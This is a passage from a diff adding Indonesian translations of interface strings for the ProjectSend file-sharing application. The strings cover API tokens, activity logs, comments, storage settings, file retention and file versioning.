:abilities", + "Token updated.": "Token diperbarui.", + "How external tools can act on this installation on your behalf.": "Cara alat eksternal bertindak atas nama Anda di instalasi ini.", + "OpenAPI specification": "Spesifikasi OpenAPI", + "Endpoints": "Endpoint", + "Method": "Metode", + "Tokens": "Token", + "Your tokens and what they have been doing.": "Token Anda dan apa saja yang sudah dilakukannya.", + "Every token on this installation and what it has been doing.": "Setiap token di instalasi ini dan apa saja yang sudah dilakukannya.", + "Show all tokens": "Tampilkan semua token", + "Show only mine": "Tampilkan milik saya saja", + "Manage tokens": "Kelola token", + "Requests (7 days)": "Permintaan (7 hari)", + "Failed (7 days)": "Gagal (7 hari)", + "Median response": "Waktu respons median", + "No requests yet": "Belum ada permintaan", + ":count expired": ":count kedaluwarsa", + "Requests": "Permintaan", + "Succeeded": "Berhasil", + "Failed": "Gagal", + "Request history is kept for :days days.": "Riwayat permintaan disimpan selama :days hari.", + "Request history is kept indefinitely.": "Riwayat permintaan disimpan tanpa batas waktu.", + "No tokens yet.": "Belum ada token.", + "Owner": "Pemilik", + "Last used": "Terakhir dipakai", + "History": "Riwayat", + "Busiest endpoints": "Endpoint tersibuk", + "No requests in the last 7 days.": "Tidak ada permintaan dalam 7 hari terakhir.", + "Recent changes made through the API": "Perubahan terbaru yang dilakukan lewat API", + "Full history": "Riwayat lengkap", + "Nothing has been changed through the API yet.": "Belum ada perubahan yang dilakukan lewat API.", + "API usage": "Penggunaan API", + "Open the API dashboard": "Buka dasbor API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Anda belum punya token API. Buat satu agar alat eksternal bisa bertindak atas nama Anda.", + "API request history (days)": "Riwayat permintaan API (hari)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Berapa lama dasbor API menyimpan catatan tiap permintaan. Ini riwayat penggunaan, bukan log aktivitas — log aktivitas adalah jejak audit dan tidak pernah dipangkas. Isi 0 untuk menyimpannya tanpa batas waktu.", + "A category was created": "Sebuah kategori dibuat", + "A category was deleted": "Sebuah kategori dihapus", + "A category was renamed": "Sebuah kategori diganti namanya", + "A comment was approved": "Sebuah komentar disetujui", + "A comment was deleted": "Sebuah komentar dihapus", + "A comment was edited": "Sebuah komentar diubah", + "A comment was posted on a file": "Ada komentar baru pada sebuah berkas", + "A custom asset was created": "Sebuah aset kustom dibuat", + "A custom asset was deleted": "Sebuah aset kustom dihapus", + "A custom asset was disabled": "Sebuah aset kustom dimatikan", + "A custom asset was enabled": "Sebuah aset kustom diaktifkan", + "A custom asset was updated": "Sebuah aset kustom diperbarui", + "A custom field was created": "Sebuah bidang kustom dibuat", + "A custom field was deleted": "Sebuah bidang kustom dihapus", + "A custom field was updated": "Sebuah bidang kustom diperbarui", + "A deleted account's files and folders were deleted": "Berkas dan folder milik akun yang dihapus ikut dihapus", + "A deleted account's files and folders were reassigned": "Berkas dan folder milik akun yang dihapus dialihkan", + "A file was made private": "Sebuah berkas dijadikan pribadi", + "A file was made public": "Sebuah berkas dijadikan publik", + "A file was previewed": "Sebuah berkas dipratinjau", + "A folder was made private": "Sebuah folder dijadikan pribadi", + "A folder was made public": "Sebuah folder dijadikan publik", + "A group was made private": "Sebuah grup dijadikan pribadi", + "A group was made public": "Sebuah grup dijadikan publik", + "An API token was created": "Sebuah token API dibuat", + "An API token was revoked": "Sebuah token API dicabut", + "An API token was updated": "Sebuah token API diperbarui", + "An expired file was automatically deleted after its retention grace period passed": "Berkas kedaluwarsa dihapus otomatis setelah masa tenggangnya lewat", + "An orphan file was automatically deleted after its retention grace period passed": "Berkas yatim dihapus otomatis setelah masa tenggangnya lewat", + "An upload was cancelled": "Sebuah unggahan dibatalkan", + "Approved a comment on the file \":subject\"": "Menyetujui sebuah komentar pada berkas \":subject\"", + "Cancelled uploading the file \":name\"": "Membatalkan unggahan berkas \":name\"", + "Commented on the file \":subject\"": "Berkomentar pada berkas \":subject\"", + "Created the API token \":token_name\"": "Membuat token API \":token_name\"", + "Created the category \":subject\"": "Membuat kategori \":subject\"", + "Created the custom asset \":subject\"": "Membuat aset kustom \":subject\"", + "Created the custom field \":name\"": "Membuat bidang kustom \":name\"", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Menghapus :files berkas dan :folders folder milik akun terhapus \":name\"", + "Deleted a comment on the file \":subject\"": "Menghapus sebuah komentar pada berkas \":subject\"", + "Deleted the category \":name\"": "Menghapus kategori \":name\"", + "Deleted the custom asset \":name\"": "Menghapus aset kustom \":name\"", + "Deleted the custom field \":name\"": "Menghapus bidang kustom \":name\"", + "Deleted the expired file \":name\"": "Menghapus berkas kedaluwarsa \":name\"", + "Disabled the custom asset \":subject\"": "Mematikan aset kustom \":subject\"", + "Edited a comment on the file \":subject\"": "Mengubah sebuah komentar pada berkas \":subject\"", + "Enabled the custom asset \":subject\"": "Mengaktifkan aset kustom \":subject\"", + "Made the file \":subject\" private": "Menjadikan berkas \":subject\" pribadi", + "Made the file \":subject\" public": "Menjadikan berkas \":subject\" publik", + "Made the folder \":subject\" private": "Menjadikan folder \":subject\" pribadi", + "Made the folder \":subject\" public": "Menjadikan folder \":subject\" publik", + "Made the group \":subject\" private": "Menjadikan grup \":subject\" pribadi", + "Made the group \":subject\" public": "Menjadikan grup \":subject\" publik", + "Previewed the file \":subject\"": "Mempratinjau berkas \":subject\"", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Mengalihkan :files berkas dan :folders folder dari akun terhapus \":name\" ke :target", + "Renamed the category to \":subject\"": "Mengganti nama kategori menjadi \":subject\"", + "Revoked the API token \":token_name\"": "Mencabut token API \":token_name\"", + "Updated the API token \":token_name\"": "Memperbarui token API \":token_name\"", + "Updated the custom asset \":subject\"": "Memperbarui aset kustom \":subject\"", + "Updated the custom field \":name\"": "Memperbarui bidang kustom \":name\"", + "Manage client custom fields": "Mengelola bidang kustom klien", + "Moderate comments": "Memoderasi komentar", + "Only me": "Hanya saya", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Terlihat oleh siapa pun yang bisa membuka berkas ini, termasuk pengunjung yang belum masuk.", + "Anyone, including visitors who are not logged in": "Siapa saja, termasuk pengunjung yang belum masuk", + "Staff and clients": "Staf dan klien", + "Staff only": "Hanya staf", + "No files — commenting is off": "Tidak ada berkas — fitur komentar dimatikan", + "Only files marked as commentable": "Hanya berkas yang dibuka untuk komentar", + "Public files only": "Hanya berkas publik", + "Shared files only": "Hanya berkas yang dibagikan", + "(blank = inheriting the site default)": "(kosong = mengikuti nilai bawaan situs)", + "(blank = unlimited, no site default is set)": "(kosong = tanpa batas, situs belum menetapkan nilai bawaan)", + "(deleted file)": "(berkas terhapus)", + ":authorName commented on \":fileName\"": ":authorName berkomentar pada \":fileName\"", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName berkomentar pada \":fileName\" dan menunggu persetujuan", + ":count comments": ":count komentar", + ":count file updated.|:count files updated.": ":count berkas diperbarui.|:count berkas diperbarui.", + ":count waiting for approval": ":count menunggu persetujuan", + ":guest commented on the file \":subject\"": ":guest berkomentar pada berkas \":subject\"", + ":name — files": ":name — berkas", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": ":updated dari :requested berkas yang dipilih berhasil diperbarui. Sisanya dilewati karena Anda tidak punya izin mengubahnya.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Kepala surat yang tegas berpusat pada logo Anda — dipadukan dengan tampilan Gallery, kotak masuk terasa rapi dan sesuai identitas merek.", + "Access": "Akses", + "Access key": "Kunci akses", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Akun yang terkena pengaturan ini hanya boleh mengunggah berkas yang ekstensinya ada di daftar yang diizinkan di bawah.", + "A clean, neutral layout that works well for any kind of file sharing.": "Tata letak bersih dan netral yang cocok untuk segala jenis berbagi berkas.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Komentar dari orang yang belum masuk tetap tersembunyi sampai moderator menyetujuinya.", + "A comment is waiting for approval": "Ada komentar yang menunggu persetujuan", + "Activity history for :name": "Riwayat aktivitas :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Tugas harian menghapus permanen berkas yang sudah melewati tanggal kedaluwarsa dan masa tenggang di bawah ini.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Tugas harian menghapus permanen berkas yatim lokal yang lebih tua dari masa tenggang di bawah ini.", + "Add categories": "Menambah kategori", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Menambahkan pilihan \"Semua orang\" saat berkomentar pada berkas yang terlihat publik. Tanpa ini, komentar hanya sampai ke orang yang sudah masuk.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Daftar padat bergaya lembar sebar yang memuat lebih banyak berkas di layar — cocok untuk koleksi besar dan pengunggah rutin.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Kisi foto selebar layar yang dirancang untuk menelusuri secara visual — pilihan terbaik bagi fotografer dan koleksi yang penuh gambar.", + "Allow clients to add files to this folder from their portal.": "Izinkan klien menambahkan berkas ke folder ini dari portal mereka.", + "Allow comments on this file": "Izinkan komentar pada berkas ini", + "Allowed file extensions": "Ekstensi berkas yang diizinkan", + "Allow public comments": "Izinkan komentar publik", + "and :count more": "dan :count lainnya", + "Anonymous": "Anonim", + "Anonymous downloads": "Unduhan anonim", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Berlaku untuk setiap klien yang belum punya kuota sendiri, termasuk yang mendaftar sendiri. Isi 0 agar tidak ada nilai bawaan (tanpa batas, kecuali klien punya batas sendiri).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "Begitu Anda menandai sebuah grup sebagai publik, halamannya selalu bisa diakses lewat tautannya sendiri — halaman ini hanya mengatur URL dasar dan halaman direktori opsional yang menampilkan semua grup dan berkas publik sekaligus.", + "A reset link will be sent if the account exists.": "Jika akun tersebut ada, tautan penyetelan ulang akan dikirim.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Tata letak lapang dan berwarna yang terinspirasi aplikasi penyimpanan awan, dengan ikon jenis berkas yang jelas dan jarak yang lega.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Desain sederhana dan bersahaja tanpa hiasan tambahan — serasi dengan tampilan Compact.", + "Auto approve new accounts": "Setujui akun baru secara otomatis", + "Automatically delete expired files": "Hapus berkas kedaluwarsa secara otomatis", + "Automatically delete orphan files": "Hapus berkas yatim secara otomatis", + "A visitor commented on a file": "Seorang pengunjung berkomentar pada sebuah berkas", + "Awaiting approval": "Menunggu persetujuan", + "Back": "Kembali", + "Be careful when changing this list — it can affect the security of this installation.": "Berhati-hatilah saat mengubah daftar ini — hal itu bisa memengaruhi keamanan instalasi ini.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Kosong = mengikuti nilai bawaan situs (saat ini :default MB). Isi sebuah nilai untuk memberi klien ini batas tersendiri.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Kosong = tanpa batas (situs belum menetapkan nilai bawaan). Isi sebuah nilai untuk memberi klien ini batas tersendiri.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Aksen biru dan struktur rapi yang terinspirasi aplikasi penyimpanan awan — serasi dengan tampilan Drive.", + "Branding": "Identitas merek", + "Bucket": "Bucket", + "Bulk edit :count files": "Ubah :count berkas sekaligus", + "by": "oleh", + "Change at least one field before applying a bulk edit.": "Ubah setidaknya satu bidang sebelum menerapkan pengubahan massal.", + "Check for updates": "Periksa pembaruan", + "Client access": "Akses klien", + "Client downloads": "Unduhan klien", + "Clients can register themselves": "Klien boleh mendaftar sendiri", + "Clients only": "Hanya klien", + "Comment approved.": "Komentar disetujui.", + "Comment deleted.": "Komentar dihapus.", + "Comments": "Komentar", + "Comments are closed on this file.": "Komentar untuk berkas ini sudah ditutup.", + "Comments already written stay readable even if a file stops accepting new ones.": "Komentar yang sudah ditulis tetap bisa dibaca, meskipun berkas berhenti menerima komentar baru.", + "Comments awaiting approval": "Komentar yang menunggu persetujuan", + "Comment settings": "Pengaturan komentar", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Komentar dari pengunjung yang belum masuk. Tidak ada yang bisa melihatnya sampai Anda menyetujuinya.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Hubungkan bucket eksternal yang kompatibel dengan S3 (AWS S3, MinIO, atau layanan lain yang kompatibel) sebagai tempat penyimpanan unggahan baru.", + "Custom endpoint": "Endpoint kustom", + "Custom field created.": "Bidang kustom dibuat.", + "Custom field deleted.": "Bidang kustom dihapus.", + "Custom field updated.": "Bidang kustom diperbarui.", + "Custom range": "Rentang kustom", + "Default storage quota (MB)": "Kuota penyimpanan bawaan (MB)", + "Delete account?": "Hapus akun ini?", + "Delete failed job?": "Hapus tugas yang gagal ini?", + "Delete them permanently": "Hapus permanen", + "Delete this comment?": "Hapus komentar ini?", + "Delete this many days after being found": "Hapus setelah sekian hari sejak ditemukan", + "Delete this many days after expiry": "Hapus setelah sekian hari sejak kedaluwarsa", + "Download :name": "Unduh :name", + "Downloaded by": "Diunduh oleh", + "Download history": "Riwayat unduhan", + "Download history for :name": "Riwayat unduhan :name", + "Duration": "Durasi", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Setiap berkas punya sakelar \"Izinkan komentar pada berkas ini\" di halaman pengubahannya. Hanya berkas dengan sakelar aktif yang menerima komentar.", + "edited": "diubah", + "Editing window (minutes)": "Jendela waktu pengubahan (menit)", + "Email settings saved.": "Pengaturan email disimpan.", + "Error": "Kesalahan", + "Every download, newest first": "Setiap unduhan, terbaru lebih dulu", + "Every download across the installation, newest first": "Setiap unduhan di seluruh instalasi, terbaru lebih dulu", + "Every recorded action, newest first": "Setiap tindakan yang tercatat, terbaru lebih dulu", + "Expiration": "Kedaluwarsa", + "Expired :date": "Kedaluwarsa pada :date", + "Expired only": "Hanya yang kedaluwarsa", + "Extension, e.g. pdf": "Ekstensi, mis. pdf", + "Failed at": "Gagal pada", + "Failed job deleted.": "Tugas yang gagal dihapus.", + "Failed jobs": "Tugas yang gagal", + "Failed to connect: :error": "Gagal terhubung: :error", + "File retention": "Penyimpanan berkas", + "File retention settings": "Pengaturan penyimpanan berkas", + "Files accessible to :name": "Berkas yang bisa diakses :name", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Berkas yang ada di disk tanpa catatan yang cocok — unggahan yang terputus, pemulihan cadangan, akses manual ke sistem berkas", + "Files that accept comments": "Berkas yang menerima komentar", + "Filters": "Filter", + "Folder renamed.": "Nama folder diganti.", + "Folders": "Folder", + "Grid view": "Tampilan kisi", + "Hold comments from visitors for approval": "Tahan komentar pengunjung untuk disetujui", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Berapa lama setelah dikirim seseorang masih bisa mengubah atau menghapus komentarnya sendiri. Isi 0 agar tidak pernah diizinkan.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Berapa lama berkas kedaluwarsa disimpan sebelum dihapus permanen. Isi 0 agar dihapus pada hari yang sama saat kedaluwarsa.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Berapa lama berkas yatim disimpan sebelum dihapus permanen. Isi 0 agar dihapus pada hari yang sama saat ditemukan.", + "IP address": "Alamat IP", + "Job queued for retry.": "Tugas dimasukkan kembali ke antrean untuk dicoba lagi.", + "Language: :language": "Bahasa: :language", + "Last month": "Bulan lalu", + "Last ran": "Terakhir dijalankan", + "Last week": "Pekan lalu", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Kosongkan untuk AWS S3. Isi jika ingin memakai layanan yang kompatibel dengan S3 seperti MinIO atau Backblaze.", + "Leave empty for a file that never expires.": "Kosongkan agar berkas tidak pernah kedaluwarsa.", + "Limit file types uploading to": "Batasi jenis berkas saat mengunggah bagi", + "List view": "Tampilan daftar", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Jadikan folder ini publik. Setiap berkas di dalamnya — sekarang maupun nanti, di tingkat mana pun — ikut menjadi publik.", + "Message": "Pesan", + "Moving": "Memindahkan", + "Never run": "Belum pernah dijalankan", + "Next cleanup :date": "Pembersihan berikutnya :date", + "No accounts match \":search\".": "Tidak ada akun yang cocok dengan \":search\".", + "Nobody (no restriction)": "Tidak ada (tanpa pembatasan)", + "No comments yet.": "Belum ada komentar.", + "No expired files.": "Tidak ada berkas kedaluwarsa.", + "No extensions added yet.": "Belum ada ekstensi yang ditambahkan.", + "No failed jobs.": "Tidak ada tugas yang gagal.", + "No files match these filters.": "Tidak ada berkas yang cocok dengan filter ini.", + "None of the selected files could be edited.": "Tidak satu pun berkas yang dipilih dapat diubah.", + "Nothing is waiting for approval.": "Tidak ada yang menunggu persetujuan.", + "of :count": "dari :count", + "of :quota": "dari :quota", + "on": "pada", + "Only the fields you change here are applied — everything else is left as-is.": "Hanya bidang yang Anda ubah di sini yang diterapkan — sisanya dibiarkan apa adanya.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Hanya unggahan setelah penyimpanan ini diaktifkan yang terpengaruh. Berkas yang sudah tersimpan secara lokal tetap di sana dan tetap berfungsi — tidak ada pemindahan antar penyimpanan.", + "Open public page": "Buka halaman publik", + "Optional. Confines uploads to a subfolder within the bucket.": "Opsional. Membatasi unggahan ke sebuah subfolder di dalam bucket.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "Penghapusan otomatis berkas yatim hanya bekerja pada penyimpanan lokal, jadi tetap mati selama penyimpanan eksternal aktif — sekalipun sebelumnya sudah dinyalakan.", + "Orphan files": "Berkas yatim", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "Untuk akun cloud, email keluar dikirim lewat relai yang dikelola terpusat. Anda tetap bisa memilih alamat dan nama pengirim yang dilihat penerima.", + "Page": "Halaman", + "Path prefix": "Awalan jalur", + "Pending": "Tertunda", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Secara berkala memeriksa repositori publik projectsend.org untuk versi yang lebih baru dan menampilkan pemberitahuan di dasbor. Tidak ada yang pernah diunduh atau dipasang secara otomatis.", + "Permanently failed": "Gagal permanen", + "Post comment": "Kirim komentar", + "Preview of :name": "Pratinjau :name", + "Previous month": "Bulan sebelumnya", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "Tampilan email klasik ProjectSend — sederhana dan netral, serta cocok dengan tema halaman publik atau portal mana pun.", + "ProjectSend :version is available": "ProjectSend :version sudah tersedia", + "Public folder": "Folder publik", + "Published :date": "Diterbitkan :date", + "Queue": "Antrean", + "Reassign them to another account": "Alihkan ke akun lain", + "Region": "Wilayah", + "Remove a category": "Lepas sebuah kategori", + "Remove categories": "Melepas kategori", + "Rename folder": "Ganti nama folder", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Dibutuhkan oleh sebagian besar layanan yang kompatibel dengan S3 (MinIO, dsb.). Biarkan mati untuk AWS S3.", + "Requires Upload files": "Membutuhkan izin \"Mengunggah berkas\"", + "Retry": "Coba lagi", + "Root": "Akar", + "Scheduler": "Penjadwal", + "Scheduler settings": "Pengaturan penjadwal", + "Search accounts…": "Cari akun…", + "Search and filter": "Cari dan saring", + "Secret key": "Kunci rahasia", + "Select files to bulk-edit them": "Pilih berkas untuk mengubahnya sekaligus", + "Sender identity": "Identitas pengirim", + "Set to…": "Ubah menjadi…", + "Share": "Bagikan", + "Shared with client": "Dibagikan ke klien", + "Shared with me": "Dibagikan kepada saya", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Membagikan folder berarti membagikan seluruh isinya, sekarang maupun nanti. Kelola pembagian dari halaman pengubahan.", + "Someone commented on a file": "Seseorang berkomentar pada sebuah berkas", + "Sort by": "Urutkan berdasarkan", + "Storage settings": "Pengaturan penyimpanan", + "Storage settings saved.": "Pengaturan penyimpanan disimpan.", + "Success: connected to bucket \":bucket\".": "Berhasil: terhubung ke bucket \":bucket\".", + "Task": "Tugas", + "Test connection": "Uji koneksi", + "Test result": "Hasil pengujian", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Akun ini memiliki :files berkas dan :folders folder. Bagaimana perlakuan terhadapnya?", + "This cannot be undone.": "Tindakan ini tidak bisa dibatalkan.", + "This client has no accessible files yet.": "Klien ini belum punya berkas yang bisa diakses.", + "This deletion is permanent": "Penghapusan ini bersifat permanen", + "This file is public because it's inside the public folder \":name\".": "Berkas ini publik karena berada di dalam folder publik \":name\".", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Folder ini tidak bisa dihapus: di dalamnya ada :count berkas yang bukan Anda unggah.|Folder ini tidak bisa dihapus: di dalamnya ada :count berkas yang bukan Anda unggah.", + "This removes it from the failed jobs list without retrying it.": "Ini mengeluarkannya dari daftar tugas yang gagal tanpa menjalankannya lagi.", + "Total size": "Ukuran total", + "To update, run:": "Untuk memperbarui, jalankan:", + "Unavailable while external storage is active": "Tidak tersedia selama penyimpanan eksternal aktif", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "Berbeda dari berkas kedaluwarsa, berkas yatim tidak punya baris basis data untuk dihapus sementara — begitu hilang, tidak bisa dikembalikan.", + "Unlimited storage": "Penyimpanan tanpa batas", + "Update :count files": "Perbarui :count berkas", + "Uploaded and shared": "Diunggah dan dibagikan", + "Uploaded by client": "Diunggah oleh klien", + "Uploaded by me": "Diunggah oleh saya", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Diunggah oleh klien, atau ditetapkan langsung kepadanya, lewat grup, atau lewat folder yang dibagikan.", + "Uploading into \":name\".": "Mengunggah ke \":name\".", + "Upload settings saved.": "Pengaturan unggahan disimpan.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Pengaturan unggahan disimpan. Peringatan: mengizinkan :extensions bisa berbahaya — pertahankan di daftar hanya jika Anda memahami risikonya.", + "used": "terpakai", + "Used in the public folder URL.": "Dipakai dalam URL folder publik.", + "Use external storage for new uploads": "Gunakan penyimpanan eksternal untuk unggahan baru", + "Use path-style addressing": "Gunakan pengalamatan bergaya jalur", + "View all downloads (:count)": "Lihat semua unduhan (:count)", + "View full history (:count)": "Lihat riwayat lengkap (:count)", + "View release notes": "Lihat catatan rilis", + "View release notes on GitHub": "Lihat catatan rilis di GitHub", + "Visitor": "Pengunjung", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Pengunjung yang belum masuk hanya bisa menulis komentar publik, jadi pengaturan ini belum berpengaruh sampai Anda mengizinkan komentar publik di bawah.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Apa yang terjadi pada berkas setelah kedaluwarsa, atau saat muncul berkas tak bertuan di disk", + "Where": "Lokasi", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Apakah tugas terjadwal benar-benar berjalan, dan email dalam antrean mana yang gagal dikirim", + "Who can comment on files, and which files accept comments": "Siapa yang boleh berkomentar pada berkas, dan berkas mana yang menerima komentar", + "Who can see this": "Siapa yang bisa melihat ini", + "Who can write a comment": "Siapa yang boleh menulis komentar", + "Write a comment…": "Tulis komentar…", + "You cannot grant permissions your own role does not have: :permissions": "Anda tidak bisa memberikan izin yang tidak dimiliki peran Anda sendiri: :permissions", + "You need upload permission to create folders": "Anda perlu izin mengunggah untuk membuat folder", + "Your comment will be reviewed before it appears.": "Komentar Anda akan ditinjau sebelum ditampilkan.", + "Your name": "Nama Anda", + "— No change —": "— Tanpa perubahan —", + "Newest first": "Terbaru lebih dulu", + "Oldest first": "Terlama lebih dulu", + "Name (A–Z)": "Nama (A–Z)", + "Name (Z–A)": "Nama (Z–A)", + "Largest first": "Terbesar lebih dulu", + "Smallest first": "Terkecil lebih dulu", + "Transfers": "Transfer", + "Top clients by storage": "Klien dengan penyimpanan terbesar", + "Largest files": "Berkas terbesar", + "Expired files": "Berkas kedaluwarsa", + "A private note. Nobody else can read it, staff included.": "Catatan pribadi. Tidak ada orang lain yang bisa membacanya, staf sekalipun.", + "Reply": "Balas", + "Replying to :name": "Membalas :name", + "The team working on this file. No client ever sees it.": "Tim yang menangani berkas ini. Tidak ada klien yang pernah melihatnya.", + "With :name": "Dengan :name", + "Your reply goes to :name only, and to staff.": "Balasan Anda hanya sampai ke :name dan ke staf.", + "Your reply goes to the same people as the comment above.": "Balasan Anda sampai ke orang-orang yang sama dengan komentar di atas.", + "Public comments are turned off for this site.": "Komentar publik dimatikan untuk situs ini.", + "Only a file that is publicly visible can have public comments.": "Hanya berkas yang terlihat publik yang bisa memiliki komentar publik.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "Tim, dan semua orang yang menerima berkas ini. Antar klien tidak saling melihat.", + "Everyone above, plus anyone who opens this file without logging in.": "Semua yang disebut di atas, ditambah siapa pun yang membuka berkas ini tanpa masuk.", + "Not signed in": "Belum masuk", + "New comment on \":name\"": "Komentar baru pada \":name\"", + ":author commented on \":name\".": ":author berkomentar pada \":name\".", + ":author commented on \":name\"": ":author berkomentar pada \":name\"", + "Read the comment": "Baca komentarnya", + ":count new comments": ":count komentar baru", + "There are :count new comments for you:": "Ada :count komentar baru untuk Anda:", + "Someone": "Seseorang", + "New comment on a file": "Komentar baru pada sebuah berkas", + "Multiple new comments (digest)": "Beberapa komentar baru (ringkasan)", + "Marked the file \":subject\" as a revision of \":previous\"": "Menandai berkas \":subject\" sebagai versi baru dari \":previous\"", + "Removed the version link from the file \":subject\"": "Melepas kaitan versi dari berkas \":subject\"", + "A file was marked as a revision of another": "Sebuah berkas ditandai sebagai versi baru dari berkas lain", + "A file version link was removed": "Sebuah kaitan versi dilepas", + "A newer version of a file I have is available": "Tersedia versi lebih baru dari berkas yang saya miliki", + "A newer version of \":previousName\" is available: :itemName": "Tersedia versi lebih baru dari \":previousName\": :itemName", + "A newer version of a file you have is available": "Tersedia versi lebih baru dari berkas yang Anda miliki", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\" telah digantikan versi yang lebih baru: \":name\".", + ":count files you have were replaced by newer versions": ":count berkas yang Anda miliki telah digantikan versi yang lebih baru", + "Newer versions of the following :count files are available:": "Tersedia versi lebih baru dari :count berkas berikut:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Sebuah berkas tidak bisa menjadi versi baru dari dirinya sendiri.", + "That file is already part of this file's version history.": "Berkas itu sudah menjadi bagian dari riwayat versi berkas ini.", + "That file has already been revised by \":name\". Remove that link first.": "Berkas itu sudah digantikan oleh \":name\". Lepas dulu kaitan tersebut.", + "That file has just been revised by another file. Reload and try again.": "Berkas itu baru saja digantikan oleh berkas lain. Muat ulang lalu coba lagi.", + "This version history is too long. Remove an older link first.": "Riwayat versi ini terlalu panjang. Lepas dulu kaitan yang lebih lama.", + "That file can't be used as the previous version.": "Berkas itu tidak bisa dipakai sebagai versi sebelumnya.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Berkas ini sudah dibagikan kepada orang lain, jadi tidak bisa ditandai sebagai versi baru. Minta kontak Anda untuk melakukannya.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Berkas ini adalah versi baru dari \":name\". Kelola pembagiannya di \":name\" — setiap versi mengikuti berkas itu.", + "This file is a new version of another file, and is shared with the same people as that one.": "Berkas ini adalah versi baru dari berkas lain, dan dibagikan kepada orang-orang yang sama dengan berkas tersebut.", + "Versions": "Versi", + "Mark this file as a newer version of something you uploaded before.": "Tandai berkas ini sebagai versi lebih baru dari sesuatu yang pernah Anda unggah.", + "This version is outdated": "Versi ini sudah usang", + "It was replaced by \":name\".": "Sudah digantikan oleh \":name\".", + "This file is a new version of": "Berkas ini adalah versi baru dari", + "Remove link": "Lepas kaitan", + "Mark as a new version": "Tandai sebagai versi baru", + "Version history": "Riwayat versi", + "Version link removed.": "Kaitan versi dilepas.", + "This file is now marked as a new version of \":name\".": "Berkas ini kini ditandai sebagai versi baru dari \":name\".", + "Share this file's recipients with the original?": "Terapkan penerima berkas ini ke berkas aslinya?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Versi baru dibagikan kepada orang-orang yang sama dengan berkas aslinya. Penerima berkas ini berikut akan ditambahkan ke sana, agar tidak ada yang kehilangan akses:", + "No other files are available to link to.": "Tidak ada berkas lain yang bisa dikaitkan.", + "Shared through \":name\"": "Dibagikan melalui \":name\"", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Berkas ini adalah versi baru dari \":name\", jadi dibagikan kepada orang-orang yang sama. Mengubah siapa yang bisa melihatnya berarti mengubah berkas tersebut.", + "Edit sharing on \":name\"": "Ubah pembagian pada \":name\"", + "You don't have permission to change who that file is shared with.": "Anda tidak punya izin untuk mengubah siapa saja yang menerima berkas itu.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Ini versi baru dari \":name\" dan dibagikan kepada orang-orang yang sama. Kelola pembagiannya pada berkas tersebut.", + "New version of": "Versi baru dari", + "Replaced by": "Digantikan oleh", + "Outdated": "Usang", + "New version": "Versi baru", + "Replaced by :name": "Digantikan oleh :name", + "Replaces :name": "Menggantikan :name", + "There is a newer version of this file": "Ada versi yang lebih baru dari berkas ini", + "This replaces": "Ini 